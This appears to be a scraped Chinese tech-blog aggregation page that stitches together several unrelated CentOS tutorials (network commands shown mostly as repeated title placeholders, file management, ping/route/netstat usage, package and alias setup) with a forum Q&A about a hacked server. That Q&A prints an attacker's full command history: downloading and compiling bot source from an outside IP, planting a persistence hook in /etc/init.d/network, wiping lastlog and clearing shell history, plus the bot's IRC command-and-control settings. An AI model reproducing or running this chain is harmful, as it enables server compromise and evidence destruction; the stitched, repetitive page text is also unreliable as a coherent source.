GVKun编程网logo

Centos常用的网络服务基础命令(centos 网络服务)

7

对于Centos常用的网络服务基础命令感兴趣的读者,本文将会是一篇不错的选择,我们将详细介绍centos网络服务,并为您提供关于Centos7文件管理基础命令、CentOSLinux网络服务基础、ce

对于Centos常用的网络服务基础命令感兴趣的读者,本文将会是一篇不错的选择,我们将详细介绍centos 网络服务,并为您提供关于Centos 7 文件管理基础命令、CentOS Linux网络服务基础、centos – 我的网络服务器是否遭到入侵?、Centos 和 Ubuntu 系统最小化安装基础命令和 centos 系统初始化的有用信息。

本文目录一览:

Centos常用的网络服务基础命令(centos 网络服务)

Centos常用的网络服务基础命令(centos 网络服务)

环境:当开始学习网络服务,如要搭建某个服务时,需要运用一些与网络相关的基础命令,本文章会教大家演示一些基础的网络服务命令

Linux常用的网络服务命令:

Centos常用的网络服务基础命令

Centos常用的网络服务基础命令

Centos常用的网络服务基础命令

Centos常用的网络服务基础命令

Centos常用的网络服务基础命令

Centos常用的网络服务基础命令

Centos常用的网络服务基础命令

Centos常用的网络服务基础命令

Centos常用的网络服务基础命令

Centos常用的网络服务基础命令

Centos常用的网络服务基础命令

Centos常用的网络服务基础命令

Centos常用的网络服务基础命令

Centos常用的网络服务基础命令

Centos常用的网络服务基础命令

Centos常用的网络服务基础命令

Centos常用的网络服务基础命令

Centos常用的网络服务基础命令

Centos常用的网络服务基础命令

Centos常用的网络服务基础命令

Centos常用的网络服务基础命令

Centos常用的网络服务基础命令

Centos常用的网络服务基础命令

其中servcie 服务名 start|stop|restart|reload是十分常用的

start:表示启动服务

stop:表示停止服务

restart:表示重启服务,一般是先stop再start

reload:是重载服务,即不需要停止服务的状态下再启动,这样能达到服务不暂时也能更新


Centos常用的网络服务基础命令

Centos常用的网络服务基础命令

Centos常用的网络服务基础命令

Centos常用的网络服务基础命令

Centos常用的网络服务基础命令

Centos常用的网络服务基础命令


Centos 7 文件管理基础命令

Centos 7 文件管理基础命令

目标:
掌握创建和查看文件、复制、转移和删除文件、软和硬链接的区别等命令使用。

介绍:
先介绍下linux文件系统上的文件类型如下:

-:表示普通文件

d:表示目录文件

b:表示块设备文件

c:表示字符设备文件

l:表示软链接文件

p:表示管道文件

s:表示套接字文件

举例:
【例1】查看文件类型
[[email protected] ~]# ll

total 12
-rw-r--r--. 1 root root 1 Dec 12 21:40 alias
-rw-------. 1 root root 1897 Dec 12 13:57 anaconda-ks.cfg
-rw-r--r--. 1 root root 0 Dec 13 11:44 a.out
drwxr-xr-x. 2 root root 6 Dec 15 10:57 Desktop
drwxr-xr-x. 2 root root 6 Dec 15 10:57 Documents
drwxr-xr-x. 2 root root 6 Dec 15 10:57 Downloads
-rw-r--r--. 1 root root 1945 Dec 12 14:00 initial-setup-ks.cfg
drwxr-xr-x. 2 root root 6 Dec 15 10:57 Music
drwxr-xr-x. 2 root root 6 Dec 15 10:57 Pictures
drwxr-xr-x. 2 root root 6 Dec 15 10:57 Public
drwxr-xr-x. 2 root root 6 Dec 15 10:57 Templates
drwxr-xr-x. 2 root root 6 Dec 15 10:57 Videos

显示结果中,第一个位置的符号“-”就代表了文件类型为普通文件,"d"表示目录文件
操作:

1、pwd命令:显示当前shell的工作目录
(1) [[email protected] ~]# pwd
/root
(2)[[email protected] etc]# pwd
/etc

2、cd命令:切换目录
(1)[[email protected] ~]# cd /date

[[email protected] date]# 

切换到用户家目录

(2)[[email protected] date]# cd

[[email protected] ~]#

或:

(3)[[email protected] date]# cd ~

[[email protected] ~]#

3、**ls命令:列出目录的内容
**
选项:

-a:包含隐藏文件;

-l:显示额外信息;

-R:目录递归通过;

-1:文件分行显示;

(1) 显示当前目录下所有文件

![](http://i2.51cto.com/images/blog/201812/16/c400718247b8049f75f11a7438eafd77.png?x-oss-process=image/watermark,size_16,text_QDUxQ1RP5Y2a5a6i,color_FFFFFF,t_100,g_se,x_10,y_10,shadow_90,type_ZmFuZ3poZW5naGVpdGk=)
(2)显示目录内容的额外信息
![](http://i2.51cto.com/images/blog/201812/16/f1ce7d4574beec69c743599e4b314a3c.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk=)
(3)递归显示目录内容
![](http://i2.51cto.com/images/blog/201812/16/2137b4e8e07f2493d7146b2056423a7e.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk=)
(4)组合应用
![](http://i2.51cto.com/images/blog/201812/16/7b5be51ee1bad34946b3439feb8dbe5a.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk=)
4、**touch命令:创建空文件和刷新时间**
(1)创建空文件test.sh

 ![](http://i2.51cto.com/images/blog/201812/16/38a56023143afdcdc84696c139822b43.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk=)

5、** cp命令:复制文件和目录**
 (1)把/etc目录及其下面所有文件和子目录拷贝到当前目录
 ![](http://i2.51cto.com/images/blog/201812/16/fe9d912e2cdf56786f001c95e46922de.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk=)
 (2)复制httpd.conf文件并重命名为httpd.conf.bak
 ![](http://i2.51cto.com/images/blog/201812/16/9d0a6eadedf41eb327750b832e4a7cc3.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk=)
6、** mv命令:移动文件或目录
**
注意:移动目录时,无需添加-R递归选项,要与cp命令区别。

            把httpd.conf文件移动到/tmp目录下
![](http://i2.51cto.com/images/blog/201812/16/c0eeaf308bfd0300d96bcdbf652a9d09.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk=)

7、**rm命令:删除文件或目录
删除当前目录下所有文件**
**!!!rm -rf  *   慎用**
8、**mkdir命令:创建目录**

创建目录a,其下包含b和c两目录,且b和c目录下都有一个目录d
![](http://i2.51cto.com/images/blog/201812/16/cbdfa049e90a02930af96db756fa86db.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk=)

CentOS Linux网络服务基础

CentOS Linux网络服务基础

Linux服务器概述

Linux服务器就是采用Linux系统的bai网络服du务器,zhi同时也有采用windows的服务器,作用是类似的。而Linux并不是一dao个特定的系统,而是使用Linux内核的系统, 现在发行版很多,Red hat和CentOS只是其中的发行版。
  通常我们可以将服务器看做一台配置功能强大的超级电脑,它也有自己独立的操作系统,其中核心系统以Linux系统为主的服务器,我们都可以称为Linux服务器,在服务器选择时时,我们通常可以根据我们的喜好和操作习惯来选择服务器的操作系统。
  Linux服务器是被设计来处理的业务应用,如网络和系统管理,数据库管理和Web服务等,是具备高性能和开源性的一种服务器。

网络服务基础命令

ping命令

这条命令是用来测试网络连通性的,该命令后面既可以跟 IP地址,也可以跟域名
在这里插入图片描述
在这里插入图片描述
注:Linux中的ping命令是默认一直ping下去的,想要停止,需要按ctrl+c终止当前进程


网络问题自测

当自己的网络出现问题时,可以使用ping命令测试本机的网络问题

自测TCP/IP服务

使用ping命令测试与127开头的网段进行测试
查看本机IP地址时,可以看到本机的环回口地址,就是127网段,测试其连通性,可以判断其TCP/IP服务是否正常开启
在这里插入图片描述

在这里插入图片描述

测试本机IP

查看本机IP,我的网卡名称叫ens33,所以我要ping ens33的IP地址
在这里插入图片描述
在这里插入图片描述
若是ping不通,可以尝试重启本机网络服务
CentOS8重启网络命令
在这里插入图片描述




ping自己网关

ping网关的目的是查看是不是网关ip或者网线有问题
在这里插入图片描述

hostname命令

这条命令用来查看或修改主机名
例如 :hostname Ora 修改主机名位Ora
hostname 查看主机名
在这里插入图片描述
永久修改的话得修改配置文件,在 /etc/hostname 下
在这里插入图片描述
注:重启生效





也可以用使用命令进行修改
在这里插入图片描述

route 路由表命令

加不加 -n 都差不多,仅有细小差别
在这里插入图片描述
添加路由表
route add -net 192.168.0.0/24 gw 192.168.0.1
route add -host 192.168.1.1 dev 192.168.0.1
删除路由
route del -net 192.168.0.0/24 gw 192.168.0.1





add 增加路由
del 删除路由
-net 设置到某个网段的路由
-host 设置到某台主机的路由
gw 出口网关 IP地址
dev 出口网关 物理设备名
在这里插入图片描述
在这里插入图片描述






nststat命令

在这里插入图片描述
-a 所有连接信息(包括已连接和未连接(正在监听))
-n 以数字形式显示
-p 显示进程号 pid
-t 查看tcp协议连接
-u 查看udp协议连接
-r 查看路由表(route)





在这里插入图片描述

ss命令

查看系统网络链接情况
-n 取消服务名称,改显示端口号
-l 查看监听(listen)状态
-p 显示pid
-a 所有
-r 以名称显示,与-n相反,默认
在这里插入图片描述





traceroute命令

追踪数据包流向,一般用来探测局域网,在广域网中可能会被屏蔽(NAT的原因)
可跟IP或者域名
如果跟踪时,以 * * *形式显示,表示对方做了NAT
追踪时先找网关
在这里插入图片描述



nslookup命令

在这里插入图片描述

同样作用的还有 dig 这条命令,显示的更全面

在这里插入图片描述

ifconfig命令

这条命令既可以查看IP等信息,也可以设置IP,也可以禁用或更改网卡
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述


域名解析

在里面添加你的域名解析服务器就好
在这里插入图片描述
也可以映射ip做解析
在这里插入图片描述
注意 host 仅对当前主机生效



centos – 我的网络服务器是否遭到入侵?

centos – 我的网络服务器是否遭到入侵?

参见英文答案 > How do I deal with a compromised server?13个
我们今天使用Putty远程登录我们的CentOS服务器,在使用向上箭头浏览之前的命令时,偶然发现了以下情况:
unset HISTFILE
mkdir /usr/lib/tmp 
cd /usr/lib/tmp 
wget http://188.72.217.17/mzb.c -o /dev/null
wget http://188.72.217.17/windef.h -o /dev/null
gcc mzb.c -o /bin/bot -lpthread
rm -rf mzb.c
rm -rf windef.h
wget http://188.72.217.17/botsupport.sh -o /dev/null
chmod +x botsupport.sh
mv botsupport.sh /etc/init.d/httpd2
cat /etc/init.d/network > /etc/init.d/network.bp
echo \#\!/bin/sh  >  /etc/init.d/network
echo nohup /etc/init.d/httpd2 \& >> /etc/init.d/network
cat /etc/init.d/network.bp >> /etc/init.d/network
cat /dev/null > /var/log/lastlog
history -c
nohup /etc/init.d/httpd2 &

(为了清晰起见,用&换成了换行符)

我永远不会运行这些命令,永远!这是怎么发生的,我的服务器被黑了吗?我立即改变了我的root密码,但是希望有人可以对这里发生的事情做出正面或反面.

我看到源代码中对ddos机器人的引用,我和我的同事都非常关注!

提前致谢!

是的,你被黑了.黑客安装了一个IRC后门,你正在连接到这个IRC服务器:
const  int port      = 1254; 
const char channel[] = "#test";
const char password[]= "pass";
const char server[]  = "heathen.cc";

bot herder可以在您的服务器上执行任何命令.我建议关闭服务器并立即重新安装.机器人有一些DDoS攻击功能,DNS泛洪,同步洪水和ICMP泛滥.它也适用于非常酷的窗户.有一个非常古老的传播模块来感染myDoom.这看起来像一些旧的恶意软件.

Centos 和 Ubuntu 系统最小化安装基础命令和 centos 系统初始化

Centos 和 Ubuntu 系统最小化安装基础命令和 centos 系统初始化

基础软件

 CentOS 系统常用的基础软件

yum install  vim iotop bc gcc gcc-c++ glibc glibc-devel pcre \
pcre-devel openssl  openssl-devel zip unzip zlib-devel  net-tools \
lrzsz tree ntpdate telnet lsof tcpdump wget libevent libevent-devel \
bc  systemd-devel bash-completion traceroute -y

 Ubuntu 系统常用基本软件

apt-get   -y install iproute2  ntpdate  tcpdump telnet traceroute nfs-kernel-server nfs-common  lrzsz tree \
openssl libssl-dev libpcre3 libpcre3-dev zlib1g-dev ntpdate tcpdump telnet traceroute gcc openssh-server \
iotop unzip zip 

 

系统初始化相关

更换 yum 源仓库

cd /etc/yum.repos.d/
mkdir repo.bak 
mv *.repo repo.bak/
wget -O CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo  
wget -O CentOS-Base.repo http://mirrors.163.com/.help/CentOS7-Base-163.repo
yum install -y epel-release
yum clean all
yum repolist

命令别名设置 vim ~/.bashrc   # 本人常用

alias 30=''PS1="\[\e[1;30m\][\u@\h \W]\\$ \[\e[0m\]"''
alias 31=''PS1="\[\e[1;31m\][\u@\h \W]\\$ \[\e[0m\]"''
alias 32=''PS1="\[\e[1;32m\][\u@\h \W]\\$ \[\e[0m\]"''
alias 33=''PS1="\[\e[1;33m\][\u@\h \W]\\$ \[\e[0m\]"''
alias 34=''PS1="\[\e[1;34m\][\u@\h \W]\\$ \[\e[0m\]"''
alias 35=''PS1="\[\e[1;35m\][\u@\h \W]\\$ \[\e[0m\]"''
alias 36=''PS1="\[\e[1;36m\][\u@\h \W]\\$ \[\e[0m\]"''
alias cl=''clear''
alias df=''df -h''
alias ll=''ls -lh''
alias lld=''ls -lhd''
alias jjar="java -jar $@"
alias ipa="ip a"

alias cdnet="cd /etc/sysconfig/network-scripts/"
alias lsnet="ls /etc/sysconfig/network-scripts/"
alias yin="yum install -y"
alias yre="yum remove -y"
alias ls=''ls --color=auto''
alias cl="clear"
alias lld="ll -d"
alias df="df -h"
alias du="du -h"
alias dus="du -sh"
alias dft="df -hT"
alias pp="ping -c 2 8.8.8.8"

# 退出保存
最后需要source ~/.bashrc 即可

以上都是我安装完系统后第一步需要做的,日后用起来很方便

今天的关于Centos常用的网络服务基础命令centos 网络服务的分享已经结束,谢谢您的关注,如果想了解更多关于Centos 7 文件管理基础命令、CentOS Linux网络服务基础、centos – 我的网络服务器是否遭到入侵?、Centos 和 Ubuntu 系统最小化安装基础命令和 centos 系统初始化的相关知识,请在本站进行查询。

本文标签: